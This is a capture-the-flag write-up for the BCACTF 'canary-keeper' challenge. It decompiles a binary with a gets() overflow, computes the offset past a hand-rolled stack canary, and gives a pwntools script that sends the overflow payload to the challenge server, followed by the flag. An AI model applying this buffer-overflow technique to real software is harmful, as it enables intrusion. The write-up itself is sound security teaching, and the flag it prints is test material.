binex/canary-keeper

By Jack. 202 Solves (100 Points).

Description

My friend gave me this executable, but it keeps giving me errors. Can you get the flag?

Hints

  • There are no hints...

Summary

In this challenge, you need to exploit a binary to rewrite the "FLAG" variable and retrieve the actual flag, while bypassing a stack canary that detects buffer overflows. You achieve this by constructing a payload that consists of 73 'A' characters to reach the canary, appending the known canary value, adding necessary padding, and finally overwriting the "FLAG" variable with the desired value. This payload is then sent to the remote server to obtain the flag without triggering the canary protection.

Solutions

The challange has given a simple binary

17KB
Open
Provided binary

I try to decompile the binary using Ghidra. Here are the results of the main function.

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  char local_98 [73];
  undefined4 local_4f;
  undefined2 local_4b;
  undefined local_49;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_48 = 0x47414c46;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  local_4f = 0x616e6163;
  local_4b = 0x7972;
  local_49 = 0;
  printf("Enter a string: ");
  gets(local_98);
  iVar1 = check_canary(&local_4f);
  if (iVar1 == 0) {
    puts("Buffer overflow detected!");
    uVar2 = 1;
  }
  else {
    iVar1 = check_flag(&local_48);
    if (iVar1 == 0) {
      printf("Flag: %s\n",&DAT_0010200c);
      uVar2 = 0;
    }
    else {
      puts("No changes in flag detected!");
      uVar2 = 1;
    }
  }
  return uVar2;
}

Here i can see the binary will ask user input using gets() method. the gets() method is known to having Buffer Overflow vulnerablity. the main function will also use some kind of canary protection. Basically the program will make sure the value of stack canary doesn't change. If it does change then the program will print out "Buffer overflow detected!". if the stack canary doesn't change, then the program will check if the variable with value "FLAG" has changed. if it has changed, then the actual flag will be printed out and if not the program will print out "No changed in flag detected!".

Now i know that, i can use Buffer Overflow attack to change the variable with value of "FLAG" to gain the actual flag. But in order to change the value, i actually will overwrite the stack canary too so it will detect the buffer overflow attack.

My idea that i used to solve this challange is by using Buffer Overflow attack but when the memory will rewrite the canary stack i will rewrite it with it own values which is canary and i will change the stack "FLAG" in the end.

First, i need to find the offset from the current stack to the canary stack. this way i know how much i need to dump it. I am using GDB Peda and disass the main function.

disass main results

Here i can focus on the call gets method which is vulnerable. i found out the gets() method will save the input to rbp-0x90. From the screenshot above i can see that the canary stack is loaded on address rbp-0x47 with value 0x61636163 untill rbp-0x43 with value 0x7972. At rbp-0x40 there will be the flag stack that we need to change. Before we dive into it, Lets try to decode the value of canary stack.

Decode Results

If i decode the value the converted strings will be "yranac". i think the architecture is using Little Endian Ordering. That's why the string is reversed. Based on this assumption, i need to write a dump text from 0x90 - 0x47. which will be 0x49 (73 on Decimal). The canary stack end on rbp-0x43 and the flag stack is started at rbp-0x40. That means that there will be a 2 byte padding before we can change the flag stack.

Now i will create the payload that will generate dump character with length of 73 , rewrite the canary stack with the value it self , dump 2 character for padding , and lastly change the flag stack.

solver.py
from pwn import *


# context.binary = ELF("./provided")

offset = 73
canary = b"canary"
new_flag = b"NEFL"
padding_after_canary = b"\x00" * 2

payload = b"A" * offset + canary + padding_after_canary + new_flag

print(payload)
# p = process()
p = remote("challs.bcactf.com", "32101")

p.sendline(payload)
response = p.recvall()
print(response)
p.interactive()      
```
Results

Flag

bcactf{s1mple_CANaRY_9b36bd9f3fd2f}

Last updated